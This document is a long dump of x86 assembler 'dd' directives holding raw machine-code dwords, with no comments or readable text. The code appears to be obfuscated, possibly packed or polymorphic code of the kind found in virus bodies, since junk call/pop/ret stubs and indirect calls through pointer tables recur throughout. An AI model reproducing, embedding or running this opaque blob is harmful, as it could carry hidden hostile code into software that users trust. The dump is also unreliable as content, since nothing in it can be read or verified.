		dd 80585BD3h, 0BD8923D5h, 64D1A91h, 2D69B589h, 0C08B064Dh
		dd 6E21B966h, 8D89C08Bh, 64D0DB1h, 1BD9BD83h, 7500064Dh
		dd 11BD8309h, 64D00h, 53501374h, 0B8C08Bh, 8D000000h, 4FB5509Dh
		dd 5BD3FF06h, 11BD8358h, 64D00h, 53501174h, 0B8h, 4F9D8D00h
		dd 0FF064FB4h, 8B585BD3h, 4D0AC1BDh, 15952906h,	8B064D2Ah
		dd 93F6B9D0h, 0C08B30E2h, 18810Fh, 13E90000h, 0A3000000h
		dd 0D927546Bh, 0AADF5E23h, 28593CA6h, 10AD2D22h, 0C08B82CFh
		dd 3CA8B60h, 4D12959Dh,	0BD836106h, 64D1BD9h, 83097500h
		dd 4D0011BDh, 13740006h, 0C08B5350h, 0B8h, 829D8D00h, 0FF064FB4h
		dd 6A585BD3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8A9AC353h, 69BD8BD1h, 8B064D32h
		dd 8E8C0h, 0B2CD0000h, 0F4D0908h, 2FBAC093h, 5A73697Fh
		dd 22558D31h, 0C08B064Dh, 0D9BD83F9h, 64D1Bh, 0BD830975h
		dd 64D0011h, 50197400h,	0B8C08B53h, 7D0h, 25758589h, 9D8D064Dh
		dd 64FB715h, 585BD3FFh,	11BD83h, 7400064Dh, 0B8535017h
		dd 7D0h, 25758589h, 9D8D064Dh, 64FB404h, 585BD3FFh, 101D8D8Bh
		dd 8B60064Dh, 4D1EB995h, 6D9D8B06h, 61064D25h, 6AC08Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 18A160C3h, 615F19B4h, 0BD012BF4h, 64D0D09h, 26E585C6h
		dd 0BA53064Dh, 9183B0Fh, 395F9068h, 57006A99h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7763D9E7h
		dd 31B5FF61h, 0F8064D14h, 3906858Dh, 860F064Dh,	6, 159D9529h
		dd 0D0FF064Dh, 24658D01h, 8589064Dh, 64D2E55h, 85C6CB8Bh
		dd 64D26E5h, 818D8B57h,	68064D23h, 90045206h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h, 5F83D559h
		dd 86FD9ABh, 16850Fh, 0E9600000h, 0Dh, 3EF09798h, 0C354A742h
		dd 12903125h, 61EE8AEBh, 1F21BD8Bh, 0B5FF064Dh,	64D1431h
		dd 858DD08Bh, 64D3906h,	7E9h, 2F299F00h, 0BB6B4803h, 95858953h
		dd 5A064D2Dh, 0BD8BD0FFh, 64D1F2Dh, 4118589h, 6A064Dh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0DFF07EC3h, 958B7E4Ch, 64D1535h, 26E585C6h, 0B243064Dh
		dd 7028689Dh, 840FBC90h, 1, 31B5FFFCh, 0E9064D14h, 0Ch
		dd 60295660h, 0A84B9328h, 0C1ED5C26h, 3906858Dh, 0F181064Dh
		dd 3208E4C4h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 153F01C3h, 7E7F151Fh, 0F94A80CFh
		dd 26ED8589h, 0BA66064Dh, 85C66A28h, 64D26E5h, 38EF814Ch
		dd 68341CF0h, 0D9DA1CE9h, 0DE9h, 970B5700h, 367A758Dh
		dd 7B59C117h, 0B5FF42DCh, 64D1431h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0EBC35747h,	0CA30B62Ch, 0F8786264h
		dd 3906858Dh, 0FFF9064Dh, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0C8264CA7h
		dd 66FED267h, 8589FB8Bh, 64D2A9Dh, 0C850Fh, 8D0F0000h
		dd 6, 2CB9B529h, 85C6064Dh, 64D26E5h, 0F8606046h, 9615857h
		dd 4D23B5BDh, 14686106h, 29BADE06h, 4D31C195h, 31B5FF06h
		dd 0E9064D14h, 11h, 0F2BF4A0Bh,	0A7CE44BAh, 4458E050h
		dd 1270FD74h, 6858D8Bh,	8B064D39h, 4D323D95h, 33EA8106h
		dd 0FF4DB79Ch, 89CE8BD0h, 4D331985h, 2830F06h, 0B2000000h
		dd 0E585C637h, 47064D26h, 958B30B1h, 64D05B1h, 0FB5E268h
		dd 52006A8Ah, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8B666FABh, 15B529D6h, 0FF064D03h, 4D1431B5h
		dd 35BD0306h, 8B064D2Fh, 6858DF8h, 0BF064D39h, 4FE34535h
		dd 5FDBD89h, 0D0FF064Dh, 820Fh,	85890000h, 64D10CDh, 3850Fh
		dd 0F5800000h, 0E585C6B6h, 47064D26h, 13E9D08Ah, 0F000000h
		dd 38EDBD1Ah, 51DF6B3Ch, 7F7AD49Eh, 635A1C0Dh, 0F368F8AEh
		dd 6A83D0B5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 4F1FC355h, 0F89B82EDh,	0E5BEDC77h
		dd 7538F281h, 0B5FF6CFAh, 64D1431h, 8E9h, 5F0F4900h, 1380CE47h
		dd 6858D2Dh, 6A064D39h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0BAD8C356h,	1396477Fh
		dd 8589D0FFh, 64D2AA5h,	1D8C0Fh, 11E80000h, 0BA000000h
		dd 295E258Eh, 2DD16AB8h, 6E04531Ah, 0F047413Ch,	850Fh
		dd 0C65F0000h, 4D26E585h, 0EE97706h, 12000000h,	0DDAD28DAh
		dd 0DC605D02h, 0A42A7AB1h, 0A8A368A5h, 6AF397h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 313902C3h, 4D0D299Dh, 0C1B5FF06h, 0F9064D22h, 3906858Dh
		dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 6153CDC3h, 915FC920h, 0A996C181h,	0D0FF642Ah
		dd 17CDB501h, 8589064Dh, 64D0341h, 1621BD89h, 85C6064Dh
		dd 64D26E5h, 48C78147h,	68540FFFh, 8728FAF6h, 0A698D8Bh
		dd 0B5FF064Dh, 64D1431h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 48C35747h, 0AA58D89h,	858D064Dh, 64D3906h
		dd 2EE1958Bh, 0D0FF064Dh, 82C78166h, 3D85894Fh,	0C6064D23h
		dd 4D26E585h, 0B3604306h, 61FA8B7Bh, 8E6EFC68h,	299D09BCh
		dd 0FF064D00h, 4D1431B5h, 0C9958906h, 8D064D10h, 4D390685h
		dd 8E906h, 0A5640000h, 4899957Eh, 0D0FF3151h, 18699D31h
		dd 8589064Dh, 64D136Dh,	27259D29h, 85C6064Dh, 64D26E5h
		dd 3D8D3345h, 68064D05h, 8E726969h, 0E74CB966h,	1431B5FFh
		dd 0BD89064Dh, 64D2561h, 3906858Dh, 13E9064Dh, 0AD000000h
		dd 210316D3h, 0B86C0DCFh, 0EF686B57h, 33A81DEh,	0F564BE5h
		dd 686h, 0E5958B00h, 59064D29h,	0EF81D0FFh, 65EF3439h
		dd 231D8589h, 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h
		dd 0BFA773C3h, 0D3B03349h, 0E585C68Bh, 44064D26h, 4358589h
		dd 6468064Dh, 66B8F2ECh, 0FF13E7BAh, 4D1431B5h,	35B52906h
		dd 8D064D28h, 4D390685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0D0FF661Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A4C35242h, 4AC28160h
		dd 803F70F0h, 8589A7CDh, 64D17E5h, 0DBCA8166h, 0CA816695h
		dd 85C6D227h, 64D26E5h,	0A768F843h, 0FC0764Ah, 0B5FFC8B7h
		dd 64D1431h, 2BE98D8Bh,	858D064Dh, 64D3906h, 8E8h, 0B72F9D00h
		dd 945B8DF5h, 0D58D01CEh, 5A064D29h, 952BD0FFh,	64D0CE1h
		dd 29B98589h, 9589064Dh, 64D1F25h, 43BBD80h, 0F000650h
		dd 0FC84h, 0D9952900h, 8D064D23h, 50041D85h, 0D8D8B06h
		dd 50064D2Ah, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0FAC35747h, 12E8h, 26E5C400h, 71C66537h, 0E9DCB85Bh
		dd 0BD8393A0h, 0BAA7559Ch, 78371286h, 0E3B76059h, 2829BD8Bh
		dd 6A61064Dh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 7A6E1AD6h, 8B9DA771h, 4D1541BDh
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 1763C356h, 71A287C4h, 0BFE44BFFh
		dd 25899D01h, 6A064Dh, 22CDBD89h, 0C281064Dh, 7BB68065h
		dd 26ED95FFh, 8589064Dh, 64D23B9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0E4C35747h,	0BA66231Eh, 0FF6AF963h
		dd 23B9B5FFh, 95FF064Dh, 64D0411h, 0D061B8B9h, 8BC08B78h
		dd 4D0C018Dh, 0D9BD8306h, 64D1Bh, 0BD830975h, 64D0011h
		dd 50197400h, 0B8C08B53h, 7D1h,	25758589h, 9D8D064Dh, 64FB715h
		dd 585BD3FFh, 11BD83h, 7400064Dh, 0B8535017h, 7D1h, 25758589h
		dd 9D8D064Dh, 64FB404h,	585BD3FFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 2C35545h, 6F19D01h,	8166064Dh
		dd 8B8D32CFh, 0B2EC8AC0h, 0E585C6C2h, 47064D26h, 0E133E3BAh
		dd 0F7C1685Bh, 0D18193C8h, 699F7943h, 1431B5FFh, 8060064Dh
		dd 8B61E3DEh, 6858DC8h,	0FF064D39h, 0B1EAB9D0h,	89507A29h
		dd 4D15E585h, 5E858D06h, 29065008h, 4D17D995h, 9400C706h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 3847C357h, 0BD8B14B6h,	64D060Dh
		dd 5EB58D58h, 6A065008h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 5376C350h, 489DB260h
		dd 66ECD775h, 0A3BFFA8Bh, 5609EC63h, 11E9h, 0F67A3500h
		dd 691B77CDh, 19F4A6Bh,	0B1A017DFh, 0D0FF0AF6h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 2BC35141h, 8786EB1Fh
		dd 5E858DC4h, 8B065008h, 4D1BC195h, 0C9BF0F06h,	6047883h
		dd 31850Fh, 0E1800000h,	0F285C742h, 1065008h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 8CEFC356h, 0C9040411h, 83AE13ABh,	4D1771BDh
		dd 850F0006h, 72h, 7E9h, 0F3A3E600h, 0DF77A139h, 8F2BD83h
		dd 0F000650h, 5985h, 0D78B6600h, 2179BD83h, 0F00064Dh
		dd 4984h, 38F0F00h, 0F000000h, 85C7FFB7h, 64D2769h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1C35141h
		dd 6AA34FB5h, 0B750342Ah, 0C98589ACh, 0E9064D25h, 6, 36EBAFEAh
		dd 8C6670A6h, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 6BC764F5h, 0C3F6FC38h, 0EB840F04h
		dd 0F000004h, 582h, 1F15BF00h, 85C76334h, 64D1281h, 0
		dd 48BD80F5h, 65004h, 6850Fh, 0BD8B0000h, 64D30E9h, 26E585C6h
		dd 0B47064Dh, 4D13DD8Dh, 5B866806h, 8B66E3E4h, 31B5FFD7h
		dd 0F064D14h, 68Ch, 0ADB50100h,	8D064D03h, 4D390685h, 35B52906h
		dd 0F064D0Ch, 0D0FFD1B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 1CC35242h, 0B639CE7Eh, 29C75E1Bh, 4D116195h
		dd 0B9BD8B06h, 68064D28h, 104h,	6DC78166h, 599D8D7Dh, 66064D16h
		dd 4E09E181h, 0AE953h, 38220000h, 4962CCBh, 0D33FCF03h
		dd 0B70FD0FFh, 59858DCBh, 0E9064D16h, 5, 3DC087C2h, 0EA8A50F9h
		dd 3FA858Dh, 7E90650h, 0ED000000h, 0BE252EE7h, 5750368Ch
		dd 0AA9BD29h, 8D59064Dh, 4FFACD85h, 5890F06h, 53000000h
		dd 5FC88B66h, 52006A50h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0D6419D55h, 6623BCEFh, 0FF198DBAh
		dd 4D034195h, 0EE906h, 44990000h, 0AFEF5FE7h, 8D77AFA6h
		dd 0A7E6CE55h, 83F1CD80h, 0FE90CC4h, 7A000000h,	0AA72EC15h
		dd 1A852F3Bh, 1FCE6CBBh, 6A8014h, 8068h, 6A036A00h, 68006A00h
		dd 80000000h, 0FACD858Dh, 0FF50064Fh, 4D136D95h, 0DD858906h
		dd 0C6065003h, 4D26E585h, 87684706h, 0FFC7B15Eh, 4D1431B5h
		dd 6858D06h, 0FF064D39h, 0FF006AD0h, 5003DDB5h,	0F5D0FF06h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 7C35343h
		dd 13E815h, 7E4D0000h, 2FC3D68Dh, 0ADCB777Dh, 0D37DB32Eh
		dd 4332AC66h, 59BD89BAh, 5F064D2Eh, 5830Fh, 6DBA0000h
		dd 3D12CB0Bh, 37D0h, 3D830Fh, 0BF660000h, 66600C36h, 8822D781h
		dd 652B4FBAh, 0B5FF6155h, 65003DDh, 29B995FFh, 8D8B064Dh
		dd 64D2B09h, 0BE9h, 0F0C33100h,	8988D96Ah, 82CE791Fh, 0B4E9h
		dd 0F88B6600h, 0FFFBBF0Fh, 5003DDB5h, 29BD8B06h, 0FF064D20h
		dd 4D29B995h, 89006A06h, 4D15A59Dh, 0F006A06h, 0BD33F9BFh
		dd 64D0F31h, 8D8B006Ah,	64D0D91h, 6AD78Bh, 0CE8h, 985FFA00h
		dd 0BADA3444h, 0F08DC89Ch, 6A5A34h, 23218D8Bh, 6A064Dh
		dd 3E1858Dh, 6A0650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0E98109C3h, 1D46B442h, 0C1BD8950h
		dd 0FF064D15h, 4D136D95h, 0FFF88306h, 12E850Fh,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0D3B1A7C3h, 9EA90D3Ah, 91858D3Ch, 89064FBAh,	4D1131B5h
		dd 0FFFA8B06h, 0C5F181D0h, 6A7846B3h, 68B0F00h,	81000000h
		dd 0F75EC6E2h, 6A006A74h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 10A1E834h
		dd 76D73FB3h, 1B58912h,	6A064D13h, 0B99D3100h, 6A064D13h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0BF0FEAB8h, 8D006AF8h, 5003E185h, 9E906h
		dd 0B0590000h, 53AC1D99h, 506FB4F6h, 5E9h, 0A7B44E00h
		dd 95FF57A6h, 64D136Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 86C35040h, 0C9ECFAA2h, 0AE7EFCA3h, 2589BD89h
		dd 0F883064Dh, 35850FFFh, 89000000h, 4D18458Dh,	7DC18006h
		dd 0FDE9B58Dh, 0BD8B064Fh, 64D2AADh, 0A903858Dh, 9589064Fh
		dd 64D1B71h, 27B6D0FFh,	0ABB2006Ah, 231D95FFh, 0BD03064Dh
		dd 64D0501h, 3DD8589h, 8B500650h, 4D25AD95h, 6A5F06h, 6419D29h
		dd 858D064Dh, 65003D5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 3EC35040h, 6DFD6B8Ah,	8B66B587h, 8D8950D3h
		dd 64D0621h, 6A046Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8929D9C3h, 4D2BB585h, 1D858D06h
		dd 0BA064D0Bh, 7C08CD89h, 2737BF66h, 53006A50h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 8659824Bh
		dd 51028955h, 0BD8B77CBh, 64D2D95h, 8D8B006Ah, 64D2FF5h
		dd 0ED80006Ah, 81016A47h, 0C65383F7h, 0DDB5FF1Bh, 0F065003h
		dd 95FFCBBFh, 64D17E5h,	149D8D23h, 47E9064Dh, 6A00001Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0F5E1C350h, 0A779B617h, 6692D895h, 8D84E281h
		dd 2ED59D29h, 0C08B064Dh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0BFC35040h, 0BF0FACC2h, 0F9BF0FCBh, 2559BD23h
		dd 0BD83064Dh, 64D1BD9h, 83097500h, 4D0011BDh, 19740006h
		dd 0C08B5350h, 7D2B8h, 75858900h, 8D064D25h, 4FB7159Dh
		dd 5BD3FF06h, 11BD8358h, 64D00h, 53501774h, 7D2B8h, 75858900h
		dd 8D064D25h, 4FB4049Dh, 5BD3FF06h, 3840F58h, 66000000h
		dd 950BD68Bh, 64D1049h,	0CE8BC08Bh, 128185C7h, 1064Dh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 964DC6C3h, 0E8337E1Bh, 14h, 8057077Dh, 6E05E202h
		dd 0FCC26F33h, 6B0F156Fh, 6A58D680h, 14359D29h,	685F064Dh
		dd 0CEE4E7B8h, 395B5FFh, 858D064Dh, 64D3906h, 8589D0FFh
		dd 64D0625h, 5DBD468h, 95B5FFC0h, 8D064D03h, 4D390685h
		dd 89D0FF06h, 4D180585h, 86858D06h, 50064FF8h, 1431B5FFh
		dd 95FF064Dh, 64D10CDh,	0B74C00Bh, 858DD88Bh, 6500839h
		dd 8DD3FF50h, 50083985h, 38836606h, 0C70A7509h,	4D0B9985h
		dd 106h, 3D95FF00h, 25064D23h, 0FFh, 7305F883h,	7985C70Ah
		dd 1064D2Ch, 0E9000000h, 0Fh, 1B9CDBBEh, 7C4062DCh, 7DF1AEBAh
		dd 890BE099h, 4D2C2DBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0E5850142h, 80064D31h
		dd 500448BDh, 850F0006h, 22h, 0FE952h, 0D6B0000h, 0FB1039D0h
		dd 0D59D81CBh, 47733F2Fh, 0E5805F02h, 1958E95Dh, 0B9660000h
		dd 0BD830C2Dh, 64D0B99h, 9E850F00h, 66000000h, 945DDA81h
		dd 412858Dh, 6A0650h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 5ECB6C3h, 0A89B5208h, 8B50F0D6h
		dd 4D2F75BDh, 0F5016A06h, 17B1006Ah, 57B9006Ah,	0FF41863Ah
		dd 4D26ED95h, 0B70F5306h, 85895AF9h, 650043Ch, 0FF6AE6B2h
		dd 0DE0ABA66h, 43CB5FFh, 6A0650h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0A877E4C3h, 8D896092h
		dd 64D2049h, 1195FF61h,	0F064D04h, 885h, 2890F00h, 52000000h
		dd 4D858D5Ah, 89064FF8h, 4D0F4995h, 0BD8B5006h,	64D13E9h
		dd 2A9D95FFh, 0BA50064Dh, 33AA0935h, 0D7858959h, 6A064FF8h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0F4E3C355h, 37FCAA9Dh, 5E8EBh, 0F6C60000h
		dd 8B887941h, 4D04318Dh, 858D5906h, 64FF85Ah, 8B50D18Bh
		dd 4D1ECDBDh, 0D7B5FF06h, 0FF064FF8h, 4D10CD95h, 13E906h
		dd 0D9E70000h, 1C617763h, 0DBF903AEh, 35D0B911h, 0A740B06h
		dd 0E985892Ah, 8B064D21h, 4D130195h, 46E28106h,	8D11C6CAh
		dd 4FF8C885h, 13E906h, 7EFE0000h, 0DB73738h, 8CC25F64h
		dd 7533DC1Ah, 0C8478940h
		dd 0C6BF504Eh, 0FF2D31CAh, 4FF8D7B5h, 0FF70B106h, 4D10CD95h
		dd 0CAB70F06h, 0F8EB8589h, 6A064Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0CDF357C3h
		dd 9F6A0612h, 858DB461h, 64FF8A7h, 50C88B66h, 0C5BD03h
		dd 0B5FF064Dh, 64FF8D7h, 0EC58D8Bh, 95FF064Dh, 64D10CDh
		dd 60CEB70Fh, 69BD89F5h, 61064D17h, 0F8E38589h,	8EBA064Fh
		dd 8D2E1B42h, 4FF89A85h, 0F9BD8B06h, 50064D31h,	1ECA8166h
		dd 5880FADh, 0B9000000h, 5A2C6382h, 0F8D7B5FFh,	6E9064Fh
		dd 7D000000h, 6FD55D29h, 0CD95FF94h, 6A064D10h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 3F9C350h, 0E96AE032h, 0C25D8436h, 17DD9D89h,	8589064Dh
		dd 64FF8E7h, 0A858589h,	858D064Dh, 64FF8B5h, 23B18D01h
		dd 0F50064Dh, 684h, 860F00h, 0FF000000h, 4FF8D7B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 56C58865h, 9CA44304h, 0DDDBD89h, 95FF064Dh, 64D10CDh
		dd 0C800Fh, 8E0F0000h, 6, 2F89BD8Bh, 8589064Dh,	64D06EDh
		dd 6820Fh, 0E7810000h, 380488D7h, 0F869858Dh, 6A50064Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0BE5AC357h, 2012AF5Bh, 0BF664350h, 0B5FFB832h
		dd 64FF8D7h, 6870Fh, 9D890000h,	64D23C9h, 10CD95FFh, 9D89064Dh
		dd 64D0DC1h, 0F8DB8589h, 0CF81064Fh, 502E2121h,	0F878858Dh
		dd 958B064Fh, 64D0029h,	8B665750h, 0B5FF5AD1h, 64FF8D7h
		dd 95FFD78Bh, 64D10CDh,	10BD9D29h, 8589064Dh, 64FF8DFh
		dd 369BD8Bh, 0CF81064Dh, 53BC5C18h, 10468h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0E5921D6Fh, 4870F24h, 66000000h, 8DBED9B9h, 4FF96F85h
		dd 14E96006h, 2A000000h, 0F7279297h, 4DFC68E2h,	0F3BB9F64h
		dd 0C14BCA51h, 6678FC85h, 6190E2BBh, 8B665650h,	858D5FCEh
		dd 64FFA73h, 11E950FCh,	0A7000000h, 0ADF61A0Eh,	58F96E6Bh
		dd 6DEBBC77h, 0A3292BF5h, 2AA595FFh, 0CE9064Dh,	0C6000000h
		dd 17111103h, 8C5342F2h, 85406CB5h, 25850FC0h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0AF63C352h, 0BD2959CAh, 64D0BA5h,	448BD80h
		dd 0F000650h, 1C85h, 5DB53100h,	0E9064D07h, 1532h, 8E8h
		dd 5009B500h, 6FA035F2h, 0CABF0FE9h, 99BD8359h,	64D0Bh
		dd 1F850Fh, 0EF810000h,	68FE3F4Eh, 8F2BD83h, 0F000650h
		dd 3F84h, 0AD9D8900h, 8B064D17h, 4D13C58Dh, 0C858D06h
		dd 89064FF9h, 4D0DE19Dh, 0FA8B6606h, 14E1E9h, 0BE900h
		dd 34870000h, 6CA03CBFh, 0B226667Dh, 13E913h, 0F600000h
		dd 285h, 61616000h, 0F8F7858Dh,	8B66064Fh, 858D50FAh, 64FF96Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DDC35747h
		dd 3E37F9A7h, 56E9CADFh, 2A4D8D8Bh, 350064Dh, 4D2B3D95h
		dd 99BD8306h, 64D0Bh, 3A840Fh, 0B70F0000h, 95858DFBh, 6A064FFAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8BF7C350h, 39B589FEh, 0E9064D16h,	1Fh, 9589CE8Ah
		dd 64D1FFDh, 0FA7E858Dh, 8D8B064Fh, 64D0545h, 5860Fh, 0CFB90000h
		dd 50091374h, 850Fh, 858D0000h,	64FFACDh, 0C07DB966h, 73D28150h
		dd 0FF359154h, 4D034195h, 10C48306h, 0F8C08BF9h, 1BD9BD83h
		dd 7500064Dh, 11BD8309h, 64D00h, 53501974h, 0D3B8C08Bh
		dd 89000007h, 4D257585h, 159D8D06h, 0FF064FB7h,	83585BD3h
		dd 4D0011BDh, 17740006h, 0D3B85350h, 89000007h,	4D257585h
		dd 49D8D06h, 0FF064FB4h, 57585BD3h, 3E5B589h, 665F064Dh
		dd 0AEC4CF81h, 0BD8BC08Bh, 64D2AF9h, 0EE8h, 0B395F800h
		dd 2A5FFC12h, 429AED57h, 2908756Bh, 4D2DA1BDh, 0BD815906h
		dd 64FF8F7h, 6165726Fh,	0A9840Fh, 950B0000h, 64D3011h
		dd 0F96F858Dh, 8D50064Fh, 4FFAAC85h, 858D5006h,	64FFACDh
		dd 4195FF50h, 83064D03h, 85C60CC4h, 64D26E5h, 184F6844h
		dd 0B5FF96A3h, 64D1431h, 3906858Dh, 0D0FF064Dh,	858DD88Bh
		dd 64FFACDh, 8DD3FF50h,	4FF8F785h, 858D5006h, 64FF96Fh
		dd 99BD8350h, 64D0Bh, 858D0874h, 64FFA95h, 858D06EBh, 64FFA7Eh
		dd 0CD858D50h, 50064FFAh, 34195FFh, 0C483064Dh,	53006A10h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 899F2328h, 4D05D99Dh, 0E58D8B06h, 0FF064D2Dh, 4D233D95h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8925925Dh, 4D23E195h, 19952B06h,	25064D20h
		dd 0FFh, 0CCE78160h, 667FE790h,	8361D08Bh, 830F05F8h, 5Ah
		dd 3055BD89h, 0CE9064Dh, 0CB000000h, 0F97900DDh, 0DD052BC1h
		dd 0C7AFED2Ah, 4D2C7985h, 106h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 858D95ABh
		dd 64FF92Bh, 68E0Fh, 0BD010000h, 64D0FFDh, 79E9h, 0BE67B900h
		dd 0BD830EF2h, 64D0B99h, 5B840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0E66C353h, 0E64CE7EBh, 0C181AA05h, 1AE48720h, 0F956858Dh
		dd 0BD8B064Fh, 64D3259h, 2DE9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 978032E3h
		dd 858DF5A8h, 64FF938h,	0E3D8D01h, 8589064Dh, 64FF96Bh
		dd 0BD83D68Bh, 64D0B99h, 15850F00h, 66000000h, 0E6D6C281h
		dd 8F2BD83h, 0F000650h,	2C84h, 0D9F58000h, 1185E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 89A7FF3Dh, 4D3049B5h, 485E906h, 8BF90000h, 0D78B66C0h
		dd 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h, 53501974h
		dd 0D4B8C08Bh, 89000007h, 4D257585h, 159D8D06h,	0FF064FB7h
		dd 83585BD3h, 4D0011BDh, 17740006h, 0D4B85350h,	89000007h
		dd 4D257585h, 49D8D06h,	0FF064FB4h, 0F585BD3h, 0C08BD3B7h
		dd 22318D8Bh, 3F68064Dh, 8B000F00h, 89006AFEh, 4D0BF5B5h
		dd 0F9B70F06h, 850F006Ah, 0Bh, 58D0Fh, 81660000h, 0FF847ED7h
		dd 4D21E995h, 3820F06h,	80000000h, 0C08573EAh, 2F850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 7A209CC3h, 4627BB33h, 9D89B3FCh, 64D2F21h
		dd 1CF8166h, 0EF8589B4h, 81064FF8h, 0B5C9A1EFh,	66006A32h
		dd 6AD18Bh, 58BC5CBFh, 6A006A01h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 23BBC352h
		dd 0E2DE5E80h, 2825958Bh, 6A064Dh, 11E9h, 4CC5BE00h, 843171FCh
		dd 1F1774D6h, 0A2BFFA27h, 6A83B9h, 97BFBF66h, 0FACD858Dh
		dd 9501064Fh, 64D2255h,	3E9401B9h, 8D89507Ah, 64D120Dh
		dd 0BD29016Ah, 64D14A9h, 8D8B016Ah, 64D052Dh, 0BD31016Ah
		dd 64D0055h, 0F01FF68h,	0B70F5700h, 880F5AFEh, 1, 99BD83F9h
		dd 64D0Bh
		dd 24840Fh, 5E90000h, 1B000000h, 6CEBBDE0h, 858DFB8Bh
		dd 64FF94Ch, 1800Fh, 0E9FC0000h, 11h, 30CD8D8Bh, 858D064Dh
